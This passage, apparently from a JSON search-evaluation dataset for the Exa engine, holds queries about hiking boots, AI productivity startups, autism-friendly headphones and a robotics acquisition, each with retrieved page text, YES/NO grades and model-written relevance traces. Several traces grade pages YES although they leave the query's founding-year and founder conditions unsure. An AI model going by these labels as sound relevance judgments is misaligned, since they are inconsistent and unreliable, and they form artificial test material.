slipping. It weighs more than many in this review, though that weight is worth such a performance upgrade, in our opinion. The only aspect where this boot doesn't excel is with dumping heat and excess perspiration on hikes in hot and arid climates. We have been thoroughly impressed with previous iterations of this boot, and we can confidently say that Salomon has once again created a world-class hiker in the Quest 4 Gore-Tex.\n Read more: Salomon Quest 4 Gore-Tex r",
                "model_trace": "Query Decomposition:\n1. {most durable material for hiking boots}: The document mentions durability ratings and specific materials used in the boots -> ([1], SATISFIED)\n2. {lightweight material for hiking boots}: The document provides weight information for the boots -> ([1], SATISFIED)\n3. {material that can withstand extreme temperatures}: The document does not specifically mention extreme temperature resistance -> ([0], UNSURE)\n4. {material that provides maximum comfort for long-distance treks}: The document discusses comfort ratings and suitability for long hikes -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {most durable material for hiking boots}, {lightweight material for hiking boots}, and {material that provides maximum comfort for long-distance treks}. Since all these subcomponents are satisfied, the document is helpful for the user's request. YES."
            }
        ]
    },
    {
        "query": "What software company was founded in 2015 by a former Google employee to develop AI-powered solutions for improving workplace productivity?",
        "grid_pos": [
            1,
            4
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Company/Startup/Corporation",
        "reasoning_trace": [
            "These queries are designed to test Exa's ability to understand and provide relevant information about innovative technology startups and companies. The queries cover a range of industries like AI, robotics, logistics, education, and cybersecurity, requiring knowledge of current trends and developments in the startup ecosystem. The queries are specific and detailed, yet open-ended enough to allow Exa to demonstrate its ability to comprehend complex queries and retrieve appropriate information."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Ironwill",
                "url": "https://ironwill.ai/",
                "published_date": "2023-01-01",
                "text": "IRONWILL\n * Contact\n\nIronwill is an AI research and development company. Our mission is to apply cutting-edge machine learning to productivity and collaboration.\n\nCopyright \u00a9 2023 Ironwill LLC. All rights reserved.",
                "model_trace": "Query Decomposition:\n1. {software company}: The document mentions Ironwill is an AI research and development company, which can be inferred to be a software company -> ([2], SATISFIED)\n2. {founded in 2015}: The document does not mention the founding year -> ([0], UNSURE)\n3. {founded by a former Google employee}: The document does not mention the founder -> ([0], UNSURE)\n4. {develop AI-powered solutions for improving workplace productivity}: The document states that Ironwill applies cutting-edge machine learning to productivity and collaboration -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {software company} and {develop AI-powered solutions for improving workplace productivity}. Both of these subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "Conversational AI for Work",
                "url": "https://www.ninjatech.ai/",
                "published_date": "2023-01-27",
                "text": "Meet Atlas Play Video The Autonomous Personal AI Your assistant that gets tasks done. Avoid conflicts and find convenient times by letting Atlas schedule meetings for you. Let Atlas analyze, optimize and organize your calendar in a way that fits your preferences and lifestyle. Receive immediate answers to your most pressing questions, synthesized by Atlas based on web search. Research complex topics using multiple foundational LLMs with only one prompt. Find and debug code with ease and accuracy Atlas is always available, on your phone, tablet or laptop. the ninja technology Building The Next-Gen AI, Today Atlas isn\u2019t a chatbot responding to prompts, it\u2019s an AI agent thatlearns and safely generates algorithms to solve problems on demand. DynamicAI Agents Inspired by DeepMind\u2019s AlphaGo\u2122, NinjaTech AI has gone beyond solving static games. Our autonomous AI agents continuously adapt to dynamic environments. No playbooks and static decision trees, our agents adjust using multi-agent game theory and goal-oriented execution to complete complex tasks. Real Time ProblemSolving & Learning Our agents take a step-by-step hierarchical approach to learning, decomposing complex problems into digestible tasks, and creating an execution plan with self-validation. Our AI agents write their own validated code into the neural net of intuition, enabling transfer of learning to pick up new skills quickly. State-Of-The-ArtStreaming Assistants Talk face-to-face with digital assistants, capture videos of them, and share with others. Using state-of-the-art Unreal Engine 5, our assistants are seamlessly delivered via NinjaTech AI\u2019s proprietary cloud streaming technology similar to Microsoft Cloud Gaming, Nvidia\u2019s Geforce or Amazon\u2019s Luna. No specialized hardware required! NinjaTech AI has been granted 12 AI/ML DARPA-funded patents from SRI.Five of these patents are exclusive. The Future is now Atlas is the evolution beyond Siri\u2122 Choose the Atlas that is right for you.The next chapter in AI evolution. Join Beta",
                "model_trace": "[QUERY] What software company was founded in 2015 by a former Google employee to develop AI-powered solutions for improving workplace productivity?\n\n[WEBPAGE INFORMATION]\n[TITLE] Conversational AI for Work\n[URL] https://www.ninjatech.ai/\n[DATE PUBLISHED] 2023-01-27\n[CONTENT] Meet Atlas Play Video The Autonomous Personal AI Your assistant that gets tasks done. Avoid conflicts and find convenient times by letting Atlas schedule meetings for you. Let Atlas analyze, optimize and organize your calendar in a way that fits your preferences and lifestyle. Receive immediate answers to your most pressing questions, synthesized by Atlas based on web search. Research complex topics using multiple foundational LLMs with only one prompt. Find and debug code with ease and accuracy Atlas is always available, on your phone, tablet or laptop. the ninja technology Building The Next-Gen AI, Today Atlas isn\u2019t a chatbot responding to prompts, it\u2019s an AI agent thatlearns and safely generates algorithms to solve problems on demand. DynamicAI Agents Inspired by DeepMind\u2019s AlphaGo\u2122, NinjaTech AI has gone beyond solving static games. Our autonomous AI agents continuously adapt to dynamic environments. No playbooks and static decision trees, our agents adjust using multi-agent game theory and goal-oriented execution to complete complex tasks. Real Time ProblemSolving & Learning Our agents take a step-by-step hierarchical approach to learning, decomposing complex problems into digestible tasks, and creating an execution plan with self-validation. Our AI agents write their own validated code into the neural net of intuition, enabling transfer of learning to pick up new skills quickly. State-Of-The-ArtStreaming Assistants Talk face-to-face with digital assistants, capture videos of them, and share with others. Using state-of-the-art Unreal Engine 5, our assistants are seamlessly delivered via NinjaTech AI\u2019s proprietary cloud streaming technology similar to Microsoft Cloud Gaming, Nvidia\u2019s Geforce or Amazon\u2019s Luna. No specialized hardware required! NinjaTech AI has been granted 12 AI/ML DARPA-funded patents from SRI.Five of these patents are exclusive. The Future is now Atlas is the evolution beyond Siri\u2122 Choose the Atlas that is right for you.The next chapter in AI evolution. Join Beta\n\nQuery Decomposition:\n1. {software company}: This document is about a software company, NinjaTech AI -> ([1], SATISFIED)\n2. {founded in 2015}: The document does not mention the founding year -> ([0], UNSURE)\n3. {founded by a former Google employee}: The document does not mention the founder or their previous employment -> ([0], UNSURE)\n4. {develop AI-powered solutions for improving workplace productivity}: The document mentions AI-powered solutions like Atlas for scheduling meetings, organizing calendars, and answering questions, which are aimed at improving workplace productivity -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {software company} and {develop AI-powered solutions for improving workplace productivity}. Both of these subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "Atomicwork | AI-Powered Employee Success Platform",
                "url": "https://www.atomicwork.com/",
                "published_date": "2000-01-01",
                "text": "AI-powered employee assistant workflow builder Deliver great employee experiences and unlock productivity with Atomicwork's unified AI solution. Thank you for your interest. Our team will be in touch with you shortly! Oops! Something went wrong while submitting the form. Everything your employees need, just a conversation away Atom is available round-the-clock within Microsoft Teams and Slack to offer instant help and employee support Scale your IT operations without frustrating your team Atomicwork eliminates up to 80% of the manual workflows handled by your IT support team to reduce distraction for your employees and accelerate productivity. Deliver instant IT support with conversational AI Traditional IT support methodology requires employees navigate to portals for any kind of support - whether it's to raise a service request, read a knowledge base article or ask a quick question. Our AI assistant, Atom can offer knowledge for any question or request in Slack and Microsoft Teams in a conversational, friendly manner. This way, your employees get help instantly and your IT support team can focus on harder problems. Enable effortless employee self-service Equip your team with the information they need to be efficient by automating service delivery and request fulfillment. Onboard, educate, and notify your employees with their own employee assistant that provides in-context, instant help \u2014 reducing support volume and keeping employees happy. Automate employee journeys with workflows Efficient IT support should not be a choice between breaking the bank and making your employees jump through hoops for everyday assistance and needs. Atomicwork combines fully-automated workflows and semi-automated journeys to help you add a human touch while operating at scale. Modernize IT service management Get more done faster with an AI-powered IT service desk. Your team can resolve issues more quickly and collaborate better all the while boosting employee satisfaction. Atomicwork also makes it straightforward for all employee su",
                "model_trace": "Query Decomposition:\n1. {Software company}: The document is about Atomicwork, which is a software company -> ([1], SATISFIED)\n2. {Founded in 2015}: The document does not mention the founding year of Atomicwork -> ([0], UNSURE)\n3. {Founded by a former Google employee}: The document does not mention the founder or their background -> ([0], UNSURE)\n4. {Develops AI-powered solutions for improving workplace productivity}: The document describes Atomicwork as developing AI-powered solutions for employee productivity -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {Software company} and {Develops AI-powered solutions for improving workplace productivity}. Both of these subcomponents are satisfied. The other subcomponents cannot be evaluated with the given information. YES."
            },
            {
                "grade": "NO",
                "title": "Productivity Startups funded by Y Combinator (YC) 2024",
                "url": "https://www.ycombinator.com/companies/industry/productivity",
                "published_date": null,
                "text": "Superside is a fully remote tech-enabled creative company with 750 team members in 72 countries and 17 time zones. Superside delivers more reliable creative performance than any other solution on the market, and helps the world&#39;s leading brands with advertising, brand design and video. \nAt Superside, our goal is to be the best at finding top creative talent anywhere in the world, and our promise is to build the fastest possible way to accelerate creative careers. We build technology to make it simple for customers to submit and manage projects, and to increase the productivity of our creative team. \nWith a highly efficient operating model where we never do pitch work, never submit for awards and where we ensure 90+% team utilization, we are able to keep prices at around one third of the price of traditional advertising and design agencies. \nSince going through Y Combinator W16, Superside has raised capital from Luxor Capital, Prosus Ventures, Freestyle Capital, Slack Fund, Sam Altman, High Alpha and Alliance Ventures.                    Mattermost (s2012) \u00a0\u2022\u00a0 Active \u00a0\u2022\u00a0 120 employees \u00a0\u2022\u00a0 Palo Alto, CA, USA   Mattermost provides secure collaboration for technical and operational teams that work in environments with complex nation-state level security and trust requirements. We serve technology, public sector, national defense and financial services industries with customers ranging from tech giants, to the world\u2019s largest banks, to the U.S. Department of Defense and governmental agencies around the world. \nOur self-hosted and cloud offerings provide team messaging, file sharing, integrations, audio and screen share, workflow automation and project management on an open source platform deployed by the world\u2019s most secure and mission critical organizations. We co-build the future of collaboration with over 4,000 open source project contributors who\u2019ve provided over 30,000 code improvements towards our shared product vision, which is translated into 20 languages.   devsecops collaboration security open-source    ",
                "model_trace": "Query Decomposition:\n1. {software company}: The document mentions multiple software companies -> ([1], SATISFIED)\n2. {founded in 2015}: The document does not provide founding years for the companies mentioned -> ([0], UNSURE)\n3. {founded by a former Google employee}: The document does not provide information about the founders of the companies mentioned -> ([0], UNSURE)\n4. {develop AI-powered solutions}: The document does not specify if the companies develop AI-powered solutions -> ([0], UNSURE)\n5. {improving workplace productivity}: The document mentions companies related to productivity, such as Superside and Mattermost, but does not specify if they are AI-powered -> ([2], UNSURE)\n\nAssessment: The document provides information about software companies related to productivity, but it does not provide the specific details needed to confirm if any of these companies match the query's requirements about the founding year, the founder's background, or the use of AI. Therefore, it does not fully satisfy the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "Google DeepMind",
                "url": "https://en.wikipedia.org/wiki/Google_DeepMind",
                "published_date": null,
                "text": "DeepMind Technologies Limited            Headquarters in Kings Cross, London    Type  Subsidiary    Industry  Artificial intelligence    Founded 23\u00a0September 2010; 12 years ago [1]     Founders  \n  Demis Hassabis \n Shane Legg \n Mustafa Suleyman  \n    Headquarters  London, UK  [2]      Key people     Demis Hassabis (CEO)  Lila Ibrahim (COO)      Products  AlphaGo, AlphaStar, AlphaFold, AlphaZero     Number of employees  1,000+ (2022) [3]      Parent      Google Inc. (2014\u20132015)  Alphabet Inc. (2015\u2013present)      Website  deepmind .com    \n DeepMind Technologies is a British artificial intelligence subsidiary of Alphabet Inc. and research laboratory founded in 2010. DeepMind was acquired by Google  [4]  in 2014 and became a wholly owned subsidiary of Alphabet Inc., after Google's restructuring in 2015. The company is based in London, with research centres in Canada, [5]  France, [6]  and the United States.\n DeepMind has created a neural network that learns how to play video games in a fashion similar to that of humans, [7]  as well as a Neural Turing machine, [8]  or a neural network that may be able to access an external memory like a conventional Turing machine, resulting in a computer that mimics the short-term memory of the human brain. [9]   [10] \n DeepMind made headlines in 2016 after its AlphaGo program beat a human professional Go player Lee Sedol, a world champion, in a five-game match, which was the subject of a documentary film. [11]  A more general program, AlphaZero, beat the most powerful programs playing go, chess and shogi (Japanese chess) after a few days of play against itself using reinforcement learning. [12]  In 2020, DeepMind made significant advances in the problem of protein folding with AlphaFold. [13]  In July 2022, it was announced that over 200 million predicted protein structures, representing virtually all known proteins, would be released on the AlphaFold database. [14]   [15] \n \nDeepMind posted a blog post on 28 April 2022 on a single visual language model (VLM) named Flamingo that c",
                "model_trace": "Query Decomposition:\n1. {software company founded in 2015}: The document mentions that DeepMind was founded in 2010, not 2015 -> ([1], UNSATISFIED)\n2. {founded by a former Google employee}: The document does not provide information about the founders being former Google employees -> ([0], UNSURE)\n3. {develop AI-powered solutions for improving workplace productivity}: The document mentions AI-powered solutions but focuses on different applications (e.g., video games, protein folding) rather than workplace productivity -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {software company founded in 2015} and {develop AI-powered solutions for improving workplace productivity}. Since both are UNSATISFIED, the document is not helpful for the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "Gemini for Google Workspace | Gen AI Tools for Business",
                "url": "https://workspace.google.com/solutions/ai/",
                "published_date": null,
                "text": "See how we're making Workspace even more helpful with AI\nWorkspace is harnessing the power of generative AI to unlock new ways of working so people can create, connect and grow together. Explore what\u00e2\u0080\u0099s next.\nNow, writing is easier with the help of AI in Workspace\nBlank pages can stump the best of us, which is why we are embedding generative AI tools in Docs and Gmail to help you get started. Simply type in a topic, and have Workspace help you go from blank page to first draft.\nWrite a job description in Docs\nGenerative AI in Docs helping to write a job description.\nConvert meeting notes into an email in Gmail\nGenerative AI in Gmail formalizing notes into a polished email.\nWant to learn more?\nHere are some answers to common questions about these features.\nWe're currently testing these new experiences with a group of trusted testers, starting in the United States. We'll add more people to the new experience over time, as we learn from early usage and establish a tight loop of customer feedback to help improve the experience. Please bookmark this site and check back regularly for updates on how to participate. \nWe'll iterate and refine the experiences through our Labs testing program before making them available more broadly to consumers, small businesses, enterprises, and educational institutions in more countries and languages. \nWe're excited to share our vision for the next era of AI in our latest blog here. As we weave a helpful and always-on AI partner more deeply into the fabric of Workspace, we're also unlocking new ways of working. You'll see a steady drumbeat of launches for these new experiences across Docs, Gmail, Sheets, Slides, Meet and Chat. Follow the Google Workspace blog to track the latest progress and developments!",
                "model_trace": "Query Decomposition:\n1. {software company}: The document is about Google Workspace, which is a software platform -> ([1], SATISFIED)\n2. {founded in 2015}: The document does not provide information about the founding year -> ([0], UNSURE)\n3. {founded by a former Google employee}: The document does not provide information about the founder -> ([0], UNSURE)\n4. {develop AI-powered solutions for improving workplace productivity}: The document discusses AI-powered solutions in Google Workspace for improving workplace productivity -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {software company} and {develop AI-powered solutions for improving workplace productivity}. Both of these subcomponents are satisfied by the document. However, the document does not provide information about the founding year or the founder, which are critical to identifying the specific company mentioned in the query.\n\nNO."
            }
        ]
    },
    {
        "query": "Are there any noise-cancelling headphones specifically designed for neurodivergent individuals that can filter out certain frequencies while enhancing others?",
        "grid_pos": [
            1,
            3
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Consumer Good/Consumer Service",
        "reasoning_trace": [
            "These queries are diverse, realistic, and challenging, focusing on consumer goods and services. They require deep understanding of various topics such as eco-friendly products, advanced technology in everyday items, ethical sourcing and social responsibility, specialized outdoor gear, and adaptive technology for specific needs. Each query is specific and detailed, testing Exa's ability to understand complex requirements and provide relevant results in the consumer goods and services domain."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Autism Auditory Processing Disorder Earbuds",
                "url": "https://www.nuheara.com/how-it-helps/autism-auditory-processing-disorder-earbuds/",
                "published_date": "2021-06-22",
                "text": "Take Control Of Your Auditory World \n Multi-award-winning Nuheara IQbuds\u00b2 MAX give you the ability to:\n\nAdapt your sound environment to make your world more comfortable.\nEnhance your ability to concentrate in environments where you currently struggle.\n\nProgrammable noise controls with different location presets empowers you to control your auditory world, enhance your quality of life, and reduce auditory overload.\n\nRelieve auditory overload with IQbuds2 MAX\n\nHearable Tech to Help Manage Auditory Overload\nMEET SAMUEL\nSamuel is on the autism spectrum. Before he discovered IQbuds\u00b2 MAX, his auditory processing challenges held him back from getting the most out of life.\n\nStudy & Social\nMEET CHARLOTTE\nCharlotte\u2019s auditory processing difficulties had a big impact on her quality of life. Find out how IQbuds\u00b2 MAX have helped her chase her dreams.\n\nAssistive Technology for Those Living with Autism\nMEET JORDAN\n Jordan\u2019s autism & sensory issues meant that she struggled with loud noises and noisy environments from a very young age. Then she discovered IQbuds\u00b2 MAX.\n\nA Whole New World of Help for Auditory Processing Disorder\nMEET VIOLET\nBefore she discovered Nuheara, Violet\u2019s auditory processing challenges could send her to the hospital. IQbuds\u00b2 MAX gave her the control that she was looking for.\n\nRelieve auditory overload with IQbuds2 MAX\n\nReduce background noise\nWorld Volume provides control over ambient noise without having to access the phone and open the IQbuds application, you can easily toggle the noise of the outside world \u201con\u201d or \u201coff\u201d with a simple tap of the earbud.\n\nElevate speech from noise\nNuheara\u2019s proprietary Speech-In-Noise Control (SINC) technology allows you to elevate speech from distracting background noise, which provides a more comfortable sound environment.\n\nDirectional sound control\nWith Nuheara\u2019s proprietary FOCUS system, you have the power to suppress loud, distracting, or annoying ambient noise and enhance the sounds in front of you. This can help to improve focus and concentration in a range of setti",
                "model_trace": "Query Decomposition:\n1. {noise-cancelling headphones}: The document mentions IQbuds\u00b2 MAX, which are earbuds with noise-cancelling features -> ([1], SATISFIED)\n2. {specifically designed for neurodivergent individuals}: The document highlights that the IQbuds\u00b2 MAX are used by individuals with autism and auditory processing disorders -> ([1], SATISFIED)\n3. {can filter out certain frequencies while enhancing others}: The document describes features such as programmable noise controls, Speech-In-Noise Control (SINC) technology, and directional sound control, which indicate the ability to filter and enhance specific sounds -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "NoiseOff\u2122 - The Better Option to Noise-Canceling Headphones for People with ASD and SPD",
                "url": "https://www.hamiltonbuhl.com/blog/noiseoff-the-better-option-to-noisecanceling-headphones-for-people-with-asd-and-spd/",
                "published_date": "2018-07-19",
                "text": "NoiseOff\u2122 by HamiltonBuhl\u00ae helps those with ASD and\nSPD\n\nMore than 3.5 million Americans live with autism1, also\ncalled Autism Spectrum Disorder (ASD), and over 200,000 children are diagnosed each\nyear in the US\n 2. People with autism live amazing and fulfilling lives\nbut often struggle with a sensitivity to sound. Known as Sensory Processing\nDisorder or SPD, this neurological disorder can cause extreme pain when a\nperson is exposed to noise. Each child will display the signs of autism\ndifferently, but a sensitivity to noise is common. \n Extreme sensitivity to sound associated with ASD affects children\nand adults. This symptom impacts individuals\u2019 daily lives as they are forced to\navoid crowds and find it difficult to concentrate in school. Big, bulky active\nnoise-canceling headphones require batteries and make anyone wearing them stick\nout in public. Walking around all day with heavy and obvious ear protection\nisn\u2019t exactly ideal. NoiseOff\u2122\nIs the Next Step Forward\n\nThis revolutionary product doesn\u2019t rely on electronics,\nbatteries, or require charging of any kind. Its specially-engineered, patented,\nchambered technology filters out high and low frequencies which are the most\ndisturbing. Its elegant, discreet, and sleek design allows individuals wearing\nthe product to blend in and feel comfortable while still protecting hearing and\nalleviating the discomfort associated with SPD.\n\nNoiseOff\u2122 doesn\u2019t cancel out all sound, its construction allows\nwanted speech to pass through at safe levels without any distortion. People can\nstill communicate without having to remove the product, perfect for on/off situations\nwhere noise comes and goes. The revolutionary product creates a peaceful environment,\nreduces stress and helps increase concentration, benefiting anyone wearing\nNoiseOff\u2122. Chloe Loves\nHer NoiseOff\u2122 - Case Study\n\nA 15-year-old girl that has autism and SPD approached HamiltonBuhl\u00ae.\nShe discovered NoiseOff\u2122 and realized it\u2019s a better, less expensive, and\nbattery-free option when compared to her active noise-cancell",
                "model_trace": "Query Decomposition:\n1. {noise-cancelling headphones}: The document discusses NoiseOff\u2122, which is an alternative to noise-cancelling headphones -> ([1], SATISFIED)\n2. {specifically designed for neurodivergent individuals}: The document explicitly states that NoiseOff\u2122 is designed for individuals with ASD (Autism Spectrum Disorder) and SPD (Sensory Processing Disorder) -> ([1], SATISFIED)\n3. {can filter out certain frequencies while enhancing others}: The document mentions that NoiseOff\u2122 filters out high and low frequencies while allowing wanted speech to pass through at safe levels -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            },
            {
                "grade": "NO",
                "title": "level the noise",
                "url": "https://www.zachrotholz.com/level-the-noise.html",
                "published_date": "2017-01-03",
                "text": "Level the Noise Level the noise is a fit-bit for sound. The wearable paired with an accompanying app gathers real-time sound data, empowering autistic individuals sensitive to noise to tightly monitor personal sound exposure, better predict overwhelmed states, and promote self-advocacy in curating healthy sound environments.\n\nThe Need: Autistic adults are often highly sensitive to sound. This heightened sensitivity can lead to self-isolation, anxiety in public spaces, and embarrassing meltdowns. From leaving a job in an open-office workplace, to rejecting invitations to sporting events and musicals, to fearing travel to see loved ones, autistic adults hypersensitive to sound must constantly cope with overwhelming and painful soundscapes. MEDICAL CONDITION I WEAR THESE BECAUSE I HAVE A DISABILITY.I AM NOT LISTENING TO MUSIC.I WEAR THEM SO THAT THE SOUNDS I HEAR ARE THE SAME LEVEL THAT OTHER PEOPLE HEAR.WITHOUT THEM I CANNOT BE IN PUBLIC WITHOUT EXTREME PAIN. -Anlor Davin's Home-Made Medical Necklace \n The Community:\n\n\u200b\u201cIts like my brain freezes slowly when there\u2019s too much noise.\u201d - Anlor\n\n\u201cI was not as good at expressing my problems and discomforts when I was younger...\u201d -Marcus\n\n\u201c...the goal is to bump up communication and create some sort of logic that a reasonable person could understand why an autistic needs to say \u201cno\u201d. - John\n\n\u200b\u201cA lot of times I\u2019m half oblivious to the signs of a meltdown, so to have something mechanical that could tell me ahead of time could be really helpful.\u201d -Christian\n\nThe Insight: Through countless stories we learned that.. The more overstimulated you are, the harder it is to predict your tipping point, communicate your overwhelmed state, and make the decision to escape to a healthier sound environment. so we asked... How might we empower autistic individuals hypersensitive to sound build real-time awareness of personal noise thresholds, self-advocate by communicating noise fatigue, and better plan for overwhelming noisy places? \n The Solution:\u200b\n\nCollect\n\nTrack Real-Time \u200bNoise Data\n\n",
                "model_trace": "Query Decomposition:\n1. {noise-cancelling headphones}: The document does not mention headphones but rather a wearable device paired with an app -> ([1], UNSATISFIED)\n2. {specifically designed for neurodivergent individuals}: The document does mention that the product is designed for autistic individuals, who are neurodivergent -> ([1], SATISFIED)\n3. {can filter out certain frequencies while enhancing others}: The document does not provide information about filtering specific frequencies or enhancing others -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {noise-cancelling headphones} and {specifically designed for neurodivergent individuals}. Since the document does not satisfy the first subcomponent, it is not helpful for the user's query. NO."
            },
            {
                "grade": "YES",
                "title": "Choosing Autism Noise Canceling Headphones",
                "url": "https://www.autismparentingmagazine.com/choosing-noise-canceling-headphones/",
                "published_date": null,
                "text": "The joys of parenthood include the sheer delight that comes with finding something that helps our children through a particular struggle. For many children with autism, the challenges can be fierce, and often include sensory difficulties. Choosing autism noise canceling headphones can result in relief for our children, and also excitement of finding something that returns a peaceful smile to our child\u2019s face.   Certain sounds may be physically painful for people with autism spectrum disorder (ASD). Others may find certain therapeutic sounds soothing, but they need to enjoy them without disturbing others. For parents of children with sensory needs, choosing premium headphones can be overwhelming. In this article, we will dive into the world of wearing headphones, why they can be good for extremely sensitive ears, and how to choose the best headphones for your autistic child\u2019s ears.  What are the benefits of noise canceling headphones for autism?  According to one study: Unusual responses to sensory stimuli are experienced by up to 90% of individuals with autism spectrum disorder (ASD; Ben-Sasson et al., 2009). Although it is unclear as to whether sensory processing difficulties are a trait of ASD or a trait of comorbid disorders (Landon et al., 2016), behavioral responses to sensory stimuli have become so prevalent, that the most recent criteria in the Diagnostic and Statistical Manual of Mental Disorders 5th edition (DSM-V) for ASD added a diagnostic component of hyper- and hypo- reactivity to sensory stimuli (American Psychiatric Association, 2013).\u00a0 The outside world can often be a noisy place, it is common for children on the autism spectrum to have sensory overload due to too loud or too much noise. Children on the autism spectrum may also be sensory seeking. These children may want to lessen background noise, and listen to specific sounds instead when in noisy places. If an autistic person deals with noise sensitivity, noise canceling or reducing headphones may be able to help. The type of headphones your ch",
                "model_trace": "Query Decomposition:\n1. {noise-cancelling headphones}: The document discusses noise-cancelling headphones -> ([1], SATISFIED)\n2. {specifically designed for neurodivergent individuals}: The document focuses on noise-cancelling headphones for children with autism, a neurodivergent condition -> ([1], SATISFIED)\n3. {can filter out certain frequencies while enhancing others}: The document does not mention the capability to filter out certain frequencies while enhancing others -> ([0], UNSURE)\n\nAssessment: The document satisfies the subcomponents related to noise-cancelling headphones and their design for neurodivergent individuals. However, it does not provide information on the specific capability to filter out certain frequencies while enhancing others. Since the subcomponent tagged with [0] is UNSURE, it does not affect the evaluation. The document is helpful for the user's query about noise-cancelling headphones designed for neurodivergent individuals.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "Effectiveness of Noise-Attenuating Headphones on ...",
                "url": "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6863142/",
                "published_date": null,
                "text": "Journal List\n \n \n \n Front Integr Neurosci\n \n \n \n PMC6863142\n \n \n \n \n \n \n    Front Integr Neurosci. 2019; 13: 65.    Abstract   Objective: The purpose of this study was to evaluate the proof of concept of an intervention to decrease sympathetic activation as measured by skin conductivity (electrodermal activity, EDA) in children with an autism spectrum disorder (ASD) and auditory hypersensitivity (hyperacusis). In addition, researchers examined if the intervention provided protection against the negative effects of decibel level of environmental noises on electrodermal measures between interventions. The feasibility of implementation and outcome measures within natural environments were evaluated.  Method: A single-subject multi-treatment design was used with six children, aged 8\u201316 years, with a form of Autism (i.e., Autism, PDD-NOS). Participants used in-ear (IE) and over-ear (OE) headphones for two randomly sequenced treatment phases. Each child completed four phases: (1) a week of baseline data collection; (2) a week of an intervention; (3) a week of no intervention; and (4) a week of the other intervention. Empatica E4 wristbands collected EDA data. Data was collected on 16\u201320 occasions per participant, with five measurements per phase.  Results: Separated tests for paired study phases suggested that regardless of intervention type, noise attenuating headphones led to a significance difference in both skin conductance levels (SCL) and frequency of non-specific conductance responses (NS-SCRs) between the baseline measurement and subsequent phases. Overall, SCL and NS-SCR frequency significantly decreased between baseline and the first intervention phase. A protective effect of the intervention was tested by collapsing intervention results into three phases. Slope correlation suggested constant SCL and NS-SCR frequency after initial use of the headphones regardless of the increase in environmental noises. A subsequent analysis of the quality of EDA data identified that later phases of data collection were assoc",
                "model_trace": "Query Decomposition:\n1. {noise-cancelling headphones}: The document discusses noise-attenuating headphones, which are related to noise-cancelling headphones -> ([1], SATISFIED)\n2. {specifically designed for neurodivergent individuals}: The document mentions that the study involves children with autism spectrum disorder (ASD) and auditory hypersensitivity -> ([1], SATISFIED)\n3. {can filter out certain frequencies while enhancing others}: The document does not provide specific information about the headphones' ability to filter out certain frequencies while enhancing others -> ([0], UNSURE).\n\nAssessment: The document satisfies the relevant subcomponents {noise-cancelling headphones} and {specifically designed for neurodivergent individuals}. The subcomponent about filtering and enhancing frequencies is tagged [0], so it does not affect the evaluation.\n\nYES"
            }
        ]
    },
    {
        "query": "Which tech startup focused on developing advanced robotics and automation systems was acquired by a major industrial conglomerate in 2021 for over $1 billion?",
        "grid_pos": [
            1,
            4
        ],
        "grid_pos_str": "Search Query Format: Question, Search Result Type: Company/Startup/Corporation",
        "reasoning_trace": [
            "These queries are designed to test Exa's ability to understand and provide relevant information about innovative technology startups and companies. The queries cover a range of industries like AI, robotics, logistics, education, and cybersecurity, requiring knowledge of current trends and developments in the startup ecosystem. The queries are specific and detailed, yet open-ended enough to allow Exa to demonstrate its ability to comprehend complex queries and retrieve appropriate information."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Hyundai Motor Group Completes Acquisition | Boston Dynamics",
                "url": "https://bostondynamics.com/news/hyundai-motor-group-completes-acquisition-of-boston-dynamics-from-softbank/",
                "published_date": "2023-05-02",
                "text": "Hyundai Motor Group acquires a controlling interest in Boston Dynamics from SoftBank, following regulatory approvals and other conditions\nThe Group expects synergy between the companies to accelerate the development of cutting-edge robotics featuring advanced mobility, manipulation and vision capabilities \nWith Boston Dynamics, the Group will create a robotics value chain, from robot component manufacturing to smart logistics solutions\n\nBOSTON/SEOUL/TOKYO, June 21, 2021 \u2013 Hyundai Motor Group (the Group), Boston Dynamics, Inc. and SoftBank Group Corp. (SoftBank), today announced the completion of the Group\u2019s acquisition of a controlling interest in Boston Dynamics from SoftBank, following the receipt of regulatory approvals and other customary closing conditions. The deal valued the mobile robot firm at US$1.1 billion. Additional financial details were not disclosed. \nPost-closing, the Group holds an 80 percent stake in Boston Dynamics and SoftBank, through one of its affiliates, retains the remaining 20 percent stake. \nBoston Dynamics is the established leader in developing agile, mobile robots that have been successfully integrated into business operations of many of the world\u2019s leading industrial firms. Advanced robotics offer opportunities for rapid growth with the potential to positively impact society by making work safer and more productive. \nBy acquiring Boston Dynamics and securing a leading presence in the field of robotics, the Group takes another major step toward its strategic transformation into a Smart Mobility Solution Provider. To propel this transformation, the Group has invested substantially in the development of future technologies, including autonomous driving, artificial intelligence (AI), Urban Air Mobility (UAM), smart factories and robots.\nIn the field of robotics, the Group aims to develop advanced technologies that enhance people\u2019s lives and promote safety, thereby realizing progress for humanity.\nThe deal is also expected to allow the Group and Boston Dynamics to leverage each other\u2019s ",
                "model_trace": "Query Decomposition:\n1. {tech startup focused on developing advanced robotics and automation systems}: Boston Dynamics is a company focused on developing advanced robotics and automation systems -> ([1], SATISFIED)\n2. {was acquired by a major industrial conglomerate}: The document states that Boston Dynamics was acquired by Hyundai Motor Group, a major industrial conglomerate -> ([1], SATISFIED)\n3. {in 2021}: The acquisition was completed on June 21, 2021 -> ([1], SATISFIED)\n4. {for over $1 billion}: The deal valued Boston Dynamics at $1.1 billion -> ([1], SATISFIED)\n\nAssessment: All key subcomponents are satisfied. YES."
            },
            {
                "grade": "NO",
